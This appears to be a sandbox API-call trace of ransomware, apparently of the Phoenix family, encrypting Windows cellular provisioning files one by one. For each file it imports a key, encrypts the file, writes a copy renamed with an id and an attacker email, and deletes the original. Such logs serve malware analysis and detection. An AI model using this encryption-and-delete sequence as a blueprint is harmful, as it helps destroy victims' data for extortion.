	[0254.615] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\552__connections_cellular_orange (mali)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.615] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.615] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.615] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\552__connections_cellular_orange (mali)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.615] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151200) returned 1
	[0254.615] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.615] ReadFile (in: hFile=0x308, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x347, lpOverlapped=0x0) returned 1
	[0254.617] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350, dwBufLen=0x350 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350) returned 1
	[0254.617] WriteFile (in: hFile=0x30c, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x350, lpOverlapped=0x0) returned 1
	[0254.618] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0254.618] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.618] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0254.618] CryptDestroyKey (hKey=0x151380) returned 1
	[0254.618] WriteFile (in: hFile=0x30c, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0254.618] CryptDestroyKey (hKey=0x151200) returned 1
	[0254.618] CloseHandle (hObject=0x308) returned 1
	[0254.618] CloseHandle (hObject=0x30c) returned 1
	[0254.618] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\552__Connections_Cellular_Orange (Mali)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\552__connections_cellular_orange (mali)_i1$(__mvid)@wap.provxml")) returned 1
	[0254.619] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.619] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\553__connections_cellular_orange (mauritius)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.620] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=712) returned 1
	[0254.620] CloseHandle (hObject=0x30c) returned 1
	[0254.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\553__connections_cellular_orange (mauritius)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\553__connections_cellular_orange (mauritius)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.620] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\553__connections_cellular_orange (mauritius)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.620] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.620] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.620] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\553__connections_cellular_orange (mauritius)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.621] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0254.621] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.621] ReadFile (in: hFile=0x30c, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c8, lpOverlapped=0x0) returned 1
	[0254.622] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0254.622] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0254.623] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0254.623] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.623] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0254.623] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0254.623] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0254.623] CryptDestroyKey (hKey=0x151380) returned 1
	[0254.623] CloseHandle (hObject=0x30c) returned 1
	[0254.623] CloseHandle (hObject=0x308) returned 1
	[0254.624] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\553__connections_cellular_orange (mauritius)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.624] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.624] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\554__connections_cellular_meditel (morocco)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.625] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=850) returned 1
	[0254.625] CloseHandle (hObject=0x308) returned 1
	[0254.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\554__connections_cellular_meditel (morocco)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\554__connections_cellular_meditel (morocco)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.625] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\554__connections_cellular_meditel (morocco)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.625] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.625] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.625] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\554__connections_cellular_meditel (morocco)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.626] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0254.626] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.626] ReadFile (in: hFile=0x308, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x352, lpOverlapped=0x0) returned 1
	[0254.627] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0254.627] WriteFile (in: hFile=0x30c, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0254.628] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0254.629] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.629] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0254.629] CryptDestroyKey (hKey=0x151600) returned 1
	[0254.629] WriteFile (in: hFile=0x30c, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0254.629] CryptDestroyKey (hKey=0x151100) returned 1
	[0254.629] CloseHandle (hObject=0x308) returned 1
	[0254.629] CloseHandle (hObject=0x30c) returned 1
	[0254.629] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\554__Connections_Cellular_Meditel (Morocco)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\554__connections_cellular_meditel (morocco)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.630] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.630] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\555__connections_cellular_orange (niger)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.630] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=711) returned 1
	[0254.630] CloseHandle (hObject=0x30c) returned 1
	[0254.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\555__connections_cellular_orange (niger)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\555__connections_cellular_orange (niger)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.631] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\555__connections_cellular_orange (niger)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.631] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.631] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.631] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\555__connections_cellular_orange (niger)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.631] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151140) returned 1
	[0254.631] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.631] ReadFile (in: hFile=0x30c, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c7, lpOverlapped=0x0) returned 1
	[0254.633] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0254.633] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0254.633] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0254.633] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.633] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0254.633] CryptDestroyKey (hKey=0x151380) returned 1
	[0254.633] WriteFile (in: hFile=0x308, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0254.634] CryptDestroyKey (hKey=0x151140) returned 1
	[0254.634] CloseHandle (hObject=0x30c) returned 1
	[0254.634] CloseHandle (hObject=0x308) returned 1
	[0254.634] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\555__Connections_Cellular_Orange (Niger)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\555__connections_cellular_orange (niger)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.635] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.635] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\556__connections_cellular_cct (democratic republic of the congo)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.636] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=726) returned 1
	[0254.636] CloseHandle (hObject=0x308) returned 1
	[0254.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\556__connections_cellular_cct (democratic republic of the congo)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\556__connections_cellular_cct (democratic republic of the congo)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.636] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\556__connections_cellular_cct (democratic republic of the congo)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0254.636] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.636] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.636] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\556__Connections_Cellular_CCT (Democratic Republic of the Congo)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\556__connections_cellular_cct (democratic republic of the congo)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0254.637] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1511c0) returned 1
	[0254.637] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.637] ReadFile (in: hFile=0x308, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d6, lpOverlapped=0x0) returned 1
	[0254.639] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
